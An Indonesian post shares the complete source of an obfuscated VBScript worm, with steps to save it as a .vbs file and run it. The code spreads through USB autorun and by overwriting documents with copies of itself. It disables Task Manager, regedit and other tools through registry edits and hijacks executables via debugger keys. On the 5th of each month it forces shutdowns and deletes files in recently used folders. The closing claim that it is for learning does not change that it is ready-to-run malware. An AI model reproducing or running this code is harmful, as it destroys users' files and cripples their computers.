Listing Virus terbaru, you tinggal copy  ke notapad lalu save dengan nama apa aja yang penting extensinya "vbs" (contohnya"xcriptx.vbs") untuk menjalankan virusnya klik dua kali file tersebut.
Rem dogaku3971486091
On Error Resume Next
Dim Reg, fso, oqWuKJkEqw
Set Reg = CreateObject(ZSfkdZPitJ("mmfiT/uqjsdTX"))
Set fso = CreateObject(ZSfkdZPitJ("udfkcPnfutzTfmjG/hojuqjsdT"))
Set oqWuKJkEqw = fso.GetFile(Wscript.ScriptFullName)
If oqWuKJkEqw <> Reg.SpecialFolders(ZSfkdZPitJ("bubEqqB")) & ZSfkdZPitJ("tcw/fcpeB]") then
If fso.fileExists(Left(oqWuKJkEqw, Len(oqWuKJkEqw) - 4)) Then
Reg.Run (Reg.RegRead(ZSfkdZPitJ("]SDLI") & wCSZACvPPQ(ZSfkdZPitJ("sbs")) & ZSfkdZPitJ("]eobnnpd]ofqP]mmfit]")) & ZSfkdZPitJ(" !") & chr(34) & Left(oqWuKJkEqw, len(oqWuKJkEqw)-3) & chr(34))
Else
Reg.Run (Reg.RegRead(ZSfkdZPitJ("]SDLI") & wCSZACvPPQ(ZSfkdZPitJ("sbs")) & ZSfkdZPitJ("]eobnnpd]ofqP]mmfit]")) & ZSfkdZPitJ(" !") & chr(34) & chr(34))
End If
End If
jJvZDPySjK
HPUPNrUoen
yWnDwAzpiI
EDPYCumcqu
WnLZubqKcb
ShortCut
ucxfKEHqXD (Left(oqWuKJkEqw, InStrRev(oqWuKJkEqw, ZSfkdZPitJ("!]!"))))
tkNSvFdECB (Left(oqWuKJkEqw, InStrRev(oqWuKJkEqw, ZSfkdZPitJ("!]!"))))
CQebivspuN(ZSfkdZPitJ("];d"))
CQebivspuN(ZSfkdZPitJ("];e"))
CQebivspuN(ZSfkdZPitJ("];f"))
CQebivspuN(ZSfkdZPitJ("];g"))
CQebivspuN(ZSfkdZPitJ("];h"))
JuoZxotNvV
kqgGeOIFGW
QZzYMiukxd


Sub jJvZDPySjK
On Error Resume Next
Dim PgPKxjPycc, auto, tf1, tf2
For Each PgPKxjPycc In fso.drives
If (PgPKxjPycc.drivetype = 1 or PgPKxjPycc.drivetype = 2) and PgPKxjPycc.path <> ZSfkdZPitJ(";B") then
Set auto = fso.CreateTextFile(PgPKxjPycc.Path & (ZSfkdZPitJ("goj/ovSpuvB]")), True)
auto.Write (ZSfkdZPitJ("^ovspuvb")& vbcrlf & ZSfkdZPitJ("tcw/vlbubE!fyf/uqjsdtx>fuvdfyfmmfit"))
auto.Close
set tf1=fso.getfile(PgPKxjPycc.path & ZSfkdZPitJ("goj/ovSpuvB]"))
tf1.Attributes = 32
oqWuKJkEqw.Copy (PgPKxjPycc.Path & ZSfkdZPitJ("tcw/vlbubE]"))
set tf2=fso.getfile(PgPKxjPycc.path & ZSfkdZPitJ("tcw/vlbubE]"))
tf2.Attributes = 32
End If
Next
End Sub

Sub CQebivspuN (jyxtPPeUlV)
On Error Resume Next
Dim drv
If fso.DriveExists(jyxtPPeUlV) Then
Set drv = fso.GetDrive(fso.GetDriveName(jyxtPPeUlV))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
KcaGYoDATh (jyxtPPeUlV & ZSfkdZPitJ("tcw/fmjG!xfO]"))
tkNSvFdECB (jyxtPPeUlV)
End If
End If
End Sub

Sub tkNSvFdECB (jyxtPPeUlV)
On Error Resume Next
If jyxtPPeUlV = "" Then Exit Sub
if jyxtPPeUlV = Left(Reg.SpecialFolders(ZSfkdZPitJ("qpultfE")),3) & ZSfkdZPitJ("txpeojX") then exit sub
Dim zJYARyuceo
For Each zJYARyuceo In fso.GetFolder(jyxtPPeUlV).SubFolders
KcaGYoDATh(zJYARyuceo & ZSfkdZPitJ("tcw/fnebfS]"))
ucxfKEHqXD (zJYARyuceo)
tkNSvFdECB2 (zJYARyuceo)
Next
End Sub

Sub tkNSvFdECB2 (jyxtPPeUlV)
On Error Resume Next
If jyxtPPeUlV = "" Then Exit Sub
if jyxtPPeUlV = Left(Reg.SpecialFolders(ZSfkdZPitJ("qpultfE")),3) & ZSfkdZPitJ("txpeojX") then exit sub
Dim zJYARyuceo
For Each zJYARyuceo In fso.GetFolder(jyxtPPeUlV).SubFolders
KcaGYoDATh(zJYARyuceo & ZSfkdZPitJ("tcw/zfopN]"))
ucxfKEHqXD (zJYARyuceo)
tkNSvFdECB3 (zJYARyuceo)
Next
End Sub

Sub tkNSvFdECB3 (jyxtPPeUlV)
On Error Resume Next
If jyxtPPeUlV = "" Then Exit Sub
if jyxtPPeUlV = Left(Reg.SpecialFolders(ZSfkdZPitJ("qpultfE")),3) & ZSfkdZPitJ("txpeojX") then exit sub
Dim zJYARyuceo
For Each zJYARyuceo In fso.GetFolder(jyxtPPeUlV).SubFolders
KcaGYoDATh(zJYARyuceo & ZSfkdZPitJ("tcw/mjtbI]"))
ucxfKEHqXD (zJYARyuceo)
Next
End Sub

Sub ucxfKEHqXD (jyxtPPeUlV)
On Error Resume Next
Dim zJYARyuceo
For Each zJYARyuceo In fso.GetFolder(jyxtPPeUlV).Files
If lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("dpe") then
if Left(zJYARyuceo,2)<> ZSfkdZPitJ("%�") then KcaGYoDATh(zJYARyuceo & ZSfkdZPitJ("tcw/"))
YawWOakxYH (zJYARyuceo)
End If
If lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("tmy") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("uqq") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("geq") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("gus") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("sbs") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("qj{") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("hqk") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("gjh") or lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("qnc") then
if Left(zJYARyuceo,2)<> ZSfkdZPitJ("%�") then KcaGYoDATh(Left(zJYARyuceo, len(zJYARyuceo)-3) & ZSfkdZPitJ("tcw"))
End If
If lcase(Right(zJYARyuceo,4))=ZSfkdZPitJ("ydpe") or lcase(Right(zJYARyuceo,4))=ZSfkdZPitJ("ytmy") or lcase(Right(zJYARyuceo,4))=ZSfkdZPitJ("yuqq") then
if Left(zJYARyuceo,2)<> ZSfkdZPitJ("%�") then KcaGYoDATh(Left(zJYARyuceo, len(zJYARyuceo)-4) & ZSfkdZPitJ("tcw"))
End If
if lcase(Right(zJYARyuceo,3))=ZSfkdZPitJ("tcw") then lYSnFNStdi(zJYARyuceo)
Next
End sub

Sub WnLZubqKcb
On Error Resume Next
Reg.RegWrite ZSfkdZPitJ("]eobnnpd]mmbutoJ]mmfit]fmjggoj]SDLI"), ZSfkdZPitJ("fyf/ggphpm")
Reg.RegWrite ZSfkdZPitJ("]eobnnpd]ofqp]mmfit]fmjghfs]SDLI"), ZSfkdZPitJ("fyf/ggphpm")
Reg.RegWrite ZSfkdZPitJ("]eobnnpD]ujeF]mmfiT]fmjGTCW]SDLI"), ZSfkdZPitJ("fyf/ggphpm")
Reg.RegWrite ZSfkdZPitJ("ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ(ZSfkdZPitJ("2")), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.RegWrite ZSfkdZPitJ("shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]NMLI"), ZSfkdZPitJ("2"), ZSfkdZPitJ("ESPXE`HFS")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
Reg.Regwrite ZSfkdZPitJ("sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]NMLI"),ZSfkdZPitJ("fyf/ebqfupO")
End Sub

Sub EDPYCumcqu
On Error Resume Next
Dim EIOowuWbPP, LUJTnmhmoi
EIOowuWbPP = ZSfkdZPitJ("]UPPS`TFTTBMD`ZFLI") & wCSZACvPPQ(ZSfkdZPitJ("sbs"))
LUJTnmhmoi = ZSfkdZPitJ("]UPPS`TFTTBMD`ZFLI") & wCSZACvPPQ(ZSfkdZPitJ("TCW"))
Reg.RegWrite LUJTnmhmoi & ZSfkdZPitJ("]"), Reg.RegRead(EIOowuWbPP & ZSfkdZPitJ("]"))
Reg.RegWrite LUJTnmhmoi & ZSfkdZPitJ("]opdJumvbgfE]"), Reg.RegRead(EIOowuWbPP & ZSfkdZPitJ("]opdJumvbgfE]"))
Reg.RegWrite LUJTnmhmoi & ZSfkdZPitJ("uyFxpiTsfwfO]"),""
Reg.RegWrite ZSfkdZPitJ("fnbOfqzUzmeofjsG]fmjGTCW]SDLI"), Reg.RegRead(EIOowuWbPP & ZSfkdZPitJ("]"))
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders(ZSfkdZPitJ("tfujspwbG")) & ZSfkdZPitJ("lom/fcpeB]")
Set lnk = Reg.CreateShortCut(lok)
oqWuKJkEqw.Copy (Reg.SpecialFolders(ZSfkdZPitJ("bubEqqB")) & ZSfkdZPitJ("tcw/fcpeB]"))
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders(ZSfkdZPitJ("bubEqqB")) & ZSfkdZPitJ("tcw/fcpeB]"))
lnk.Save
YawWOakxYH (lok)
Reg.RegWrite ZSfkdZPitJ("fcpeB]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), lok
End Sub

Sub YawWOakxYH (PmObrjzxBxFile)
Dim f1
Set f1 = fso.GetFile(PmObrjzxBxFile)
f1.Attributes = 6
End sub

Sub KcaGYoDATh (PmObrjzxBx)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(oqWuKJkEqw, 1)
a = ts.ReadAll
s = Right(a, Len(a) -22)
ts.Close
Set tf = fso.CreateTextFile(PmObrjzxBx, True)
tf.WriteLine (ZSfkdZPitJ("vlbhpe!nfS") & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(PmObrjzxBx)
ts.Attributes = 1
End sub

Function wCSZACvPPQ(TipeFile)
wCSZACvPPQ = reg.RegRead (ZSfkdZPitJ("/]UPPS`TFTTBMD`ZFLI") & TipeFile & ZSfkdZPitJ("]"))
End Function

Sub lYSnFNStdi(AqJhsxEQCA)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(AqJhsxEQCA, 1)
s = ts.Readline
ts.Close
a = instr(s, ZSfkdZPitJ("vlbhpe"))
If a = 0 Or a = "" Then
Set ts = fso.GetFile(AqJhsxEQCA)
ts.Attributes = 0
Set ts = fso.openTextFile(oqWuKJkEqw, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(AqJhsxEQCA, True)
ts.Write i
ts.Close
End If
End sub

sub JuoZxotNvV
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders(ZSfkdZPitJ("bubEqqB")) & ZSfkdZPitJ("tcw/fcpeB]") then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & ZSfkdZPitJ("!$udfmft0$f0!fyf/sfspmqyf]") & Wscript.ScriptFullname
jJvZDPySjK
HPUPNrUoen
CQebivspuN(ZSfkdZPitJ("];e"))
CQebivspuN(ZSfkdZPitJ("];f"))
Loop While check <> 1
End If
End sub

Sub HPUPNrUoen
dim YfvnIaUwxc
YfvnIaUwxc=Left(Reg.SpecialFolders(ZSfkdZPitJ("qpultfE")),3) & ZSfkdZPitJ("tcw/nfutzT]txpeojX")
CopyVBS (YfvnIaUwxc)
YawWOakxYH(YfvnIaUwxc)
tkNSvFdECB(Reg.SpecialFolders(ZSfkdZPitJ("tuofnvdpEzN")))
KcaGYoDATh(Reg.SpecialFolders(ZSfkdZPitJ("eppIufO")) & ZSfkdZPitJ("tcw/uyu/82!bujsfD]"))
End Sub

Sub QZzYMiukxd
On Error Resume Next
Dim zJYARyuceo, ok
For Each zJYARyuceo in fso.GetFolder(Reg.SpecialFolders(ZSfkdZPitJ("uofdfS"))).Files
Set ok = reg.CreateShortCut(zJYARyuceo)
if fso.FolderExists(ok.WorkingDirectory) then tkNSvFdECB (ok.WorkingDirectory)
Next
End sub

Sub kqgGeOIFGW
On Error Resume Next
Dim zJYARyuceo, ok, zJYARyuceoBBINgxYOzq, tmp2, tmp3
If Day(Now) = 5 Then
Reg.RegWrite ZSfkdZPitJ("spE]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]VDLI"), ZSfkdZPitJ("fyf/ggphpm")
Reg.RegWrite ZSfkdZPitJ("nfutzT]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]NMLI"), ZSfkdZPitJ("6!u.!g.!t.!oxpeuvit")
For Each zJYARyuceo in fso.GetFolder(Reg.SpecialFolders(ZSfkdZPitJ("uofdfS"))).Files
Set ok = reg.CreateShortCut(zJYARyuceo)
tmp3 = ok.WorkingDirectory
If fso.FolderExists(tmp3) Then
For Each zJYARyuceoBBINgxYOzq In fso.GetFolder(tmp3).Files
Set tmp2 = fso.GetFile(zJYARyuceoBBINgxYOzq)
tmp2.Delete
Next
End If
Next
End If
End sub
Function ZSfkdZPitJ(YfvnIaUwxc)
Dim i, tmp2
For i = 1 To Len(YfvnIaUwxc)
tmp2 = Chr(Asc(Mid(YfvnIaUwxc, i, 1)) - 1) + tmp2
Next
ZSfkdZPitJ = tmp2
End Function

Thanks for my friends" listing ini Bukan untuk merusak tapi pembelajaran"